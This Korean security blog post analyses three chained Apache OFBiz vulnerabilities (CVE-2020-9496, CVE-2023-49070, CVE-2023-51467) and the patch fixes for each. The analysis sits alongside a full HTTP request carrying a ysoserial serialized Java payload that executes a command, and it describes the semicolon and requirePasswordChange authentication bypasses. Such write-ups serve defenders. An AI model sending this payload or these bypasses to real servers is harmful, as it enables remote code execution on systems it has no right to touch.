1. 개요
OFBiz 솔루션이란 Apache에서 만든 무료 오픈소스 ERP이다.
해당 취약점은 이전 발생한 Apache OFBiz XMLRPC Deserialization RCE (CVE-2020-9496), Apache Ofbiz xml-RPC RCE( CVE-2023-49070)취약점의 불안전한 패치로 인해 로그인 인증 우회 및 SSRF 취약점이 존재한다.
CVSS 점수: 9.8점
영향을 받는 소프트웨어: Apache OFBiz 버전 16.11.x 및 이전 버전
SSRF(Server Side Request Forgery) 란?
적절한 검증절차를 거치지 않은 사용자 입력값을 서버 간에 요청에 사용하여 악의적인 행위가 발생하는 취약점이다.
공격자가 조작된 요청을 공개된 웹서버에 전송하여 웹서버가 내부 네트워크에 존재하는 다른 서버에 조작된 요청을 보낸다.
2. 상세 분석
CVE-2020-9496. CVE-2023-49070취약점의 패치과정에서 발생했기 때문에 패치 이전 발생했던 취약점에 대해 먼저 알아보려고 한다.
1) Apache OFBiz XMLRPC Deserialization RCE (CVE-2020-9496) 취약점
CVE-2020-9496 개념
해당 취약점은 /webtools/control/xmlrpc URL로 요청시 JAVA 역직렬화 취약점이 존재한다.
공격자가 serializable 항목에 ysoserial를 통해 직렬화 된 base64 xmlrpc payload을 구성하면 원격 코드 실행(RCE) 공격을 수행할 수 있다.
JAVA 역직렬화(Deserialization)란?
직렬화(Serialzation)는 객체의 상태를 바이트 시퀀스로 저장하는 프로세스이다.
이때 수신받은 바이트 스트림 데이터를 다시 원래의 데이터 형식으로 복구시키는 과정을 역직렬화라고 한다.
직렬화 하여 보관하면 시스템이 종료되더라도 없어지지 않는 장점을 가지며 네트워크로 전송도 가능하다 또한 필요할때마다 역직렬화 하여 객체를 바로 사용할 수 있다.
역질렬화 취약점
공격자가 "User_info" 객체를 직렬화 한 후 다른 객체를 역직렬화 할 경우 애플리케이션이 멈추고 이후 손상된 트리거에 의해 DoS 조건이 형성될 수 있고 원격 코드 실행(RCE)을 트리거할 수도 있다. 이를 예방하기 위해서 블랙리스트 방식인 특정 클래스의 객체에 대해 역직렬화를 금지시키는것과 화이트리스트 방식인 사전에 승인된 클래스에 속한 객체만 역직렬화가 가능하도록 설정한다.
CVE-2020-9496 분석
POST /webtools/control/xmlrpc HTTP/2
Host: 127.0.0.1:8443
Cookie: JSESSIONID=DA0AACF6739D71C16773B95592247DEE.jvm1; webtools.securedLoginId=admin; OFBiz.Visitor=10300
User-Agent: Frontier/5.1.2 (WinNT)
Host: betty.userland.com
Content-Type: text/xml
Content-Length: 4029
<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABqTK/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAMbWtkaXIgemh1amllCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAfeXNvc2VyaWFsL1B3bmVyOTE0MTQyNTg0MzMyMTI3MAEAIUx5c29zZXJpYWwvUHduZXI5MTQxNDI1ODQzMzIxMjcwOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC8ADgAAAAwAAQAAAAUADwA4AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAADQADgAAACAAAwAAAAEADwA4AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAADgADgAAACoABAAAAAEADwA4AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAACQAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAEANgAAAAMAAQMAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACXVxAH4AEAAAAdTK/rq+AAAAMgAbCgADABUHABcHABgHABkBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4cQB+AA14</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
역직렬화를 통해 인증 우회된것을 확인할 수 있다.
CVE-2020-9496 대응방안
ping과 xmlrpc에 인증 우회가 발생되지 않도록 controller.xml 파일에 auth="true" 코드를 수정한다.
serialized를 사용할 경우 오류 문구를 출력하도록 설정한다. 설정할 때 <serialized/>로 설정할 경우 <serialized xmlns= "url" >[payload]</serialized > 처럼 맨 마지막 문구에 공백을 추가하면 우회가 가능하여 body에 </serialized 키워드가 있으면 오류가 반환되도록 설정 한다.
2) Apache Ofbiz xml-RPC CVE-2023-49070 취약점
CVE-2023-49070 개념
CVE-2020-9496 취약점에서 인증을 강화 하였지만 해당 취약점에서 serialize 키워드에 대한 우회, xmlrpc 인터페이스에 대한 인증 우회를 통해 원격 명령 실행(RCE) 공격을 실행한다.
CVE-2023-49070 분석
xmlrpc, serialize 두가지에 대해 인증 우회를 통과해야 RCE 공격이 가능하기 때문에 아래에 해당 우회방법을 정리 하였다.
xmlrpc 인터페이스에 대한 인증 우회
이전 취약점 패치를 통해 첫번째 if문에서 /control/xmlrpc와 같은지 확인 후 일치하는지 확인한 후 </serializable 항목이 포함되어있을 경우 종료되도록 코드를 설정하였다.
/webtools/control/xmlrpc URL에 ;(세미콜론)을 삽입하여 if ("/control/xmlrpc".equals(uri.toLowerCase())) 해당 구문을 검사할때 /control/xmlrpc와 /control/xmlrpc;는 다르기 때문에 인증을 우회할 수 있다.
Burp Suite의 Repeter 기능을 통해 세미콜론을 넣고 인증우회에 성공할 경우 로그인 페이지를 반환한다.
serialize 키워드에 대한 우회
코드를 보면 "error".equals(login(request, response)) 구문을 통해 해당 반환 값이 error로 출력될 경우 login() 함수를 호출한다. 이뜻은 결과값이 "error"가 아닐경우 login() 함수를 출력하지 않는다는 의미가 된다.
해당 java파일 하단으로 내려가면 boolean으로 지정된 requirePasswordChange 변수 값에 Y가 입력될 경우 requirePasswordChange 가 반환되고 아닐경우 에러가 반환된다.
위의 두 코드를 통해 login(request, response)이 error 이외의 값이 반환되면 인증이 성공한 것으로 간주되는데 requirePasswordChange 값에 Y를 입력할 경우 requirePasswordChange값이 반환되기 때문에 345번째 줄 if문을 타지 않게되고 통과하여 권한을 우회할 수 있다.
이후 이전 취약점과 동일하게 serializable 항목에 ysoserial를 통해 직렬화 된 base64 xmlrpc payload을 구성하면 원격 코드 실행(RCE) 공격을 수행할 수 있다.
CVE-2023-49070 대응 방안
이를 예방하기 위해 불필요한 xmlrpc 관련 코드 삭제하였다.
3) Apache OFBiz Auth Bypass & RCE Vulnerability(CVE-2023-51467) 취약점
CVE-2023-51467 개념
CVE-2023-49070 취약점을 통해 불필요한 xmlrpc 코드를 제거 하였지만 GroovyProgram을 이용해 인증우회 후 격 명령 실행(RCE) 공격을 실행한다.
CVE-2023-51467 분석
이전 취약점과 동일하게 requirePasswordChange 변수 값에 Y가 입력될 경우 인증 우회되고 Groovy Script를 실행할 수 있게된다.
CVE-2023-51467 대응 방안
사용자 ID, 패스워드 및 토큰이 null인지 확인 하는검사를 UtilValidate.isEmpty() 메서드 호출로 대체 하였다.
[참고]
1) 자바 역직렬화 취약점: https://www.itworld.co.kr/news/206354
2) CVE-2020-9496 : https://issues.apache.org/jira/browse/OFBIZ-12332
3) cve-2024-48070: https://blog.csdn.net/xuandaoren/article/details/134877396?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522170698141116800226562443%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=170698141116800226562443&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-11-134877396-null-null.142^v99^control&utm_term=CVE-2023-49070&spm=1018.2226.3001.4187
'Hacking & Security > Vulnerability' 카테고리의 다른 글
Jenkins Remote Code Execution (CVE-2024-23897) (1) | 2024.02.05 |
---|---|
Atlassian Confluence OGNL Remote Code Execution (CVE-2022-26134) (0) | 2022.06.14 |
Tongda OA file upload AND RCE Vulnerability (0) | 2021.02.27 |
Citrix ADC and Gateway RCE Vulnerability (CVE-2019-19781) (2) | 2021.02.20 |
FortiOS SSL VPN Directory Traversal Vulnerability (CVE-2018-13379) (0) | 2020.12.16 |
공부&일상 블로그
포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요! 질문은 언제나 환영입니다😊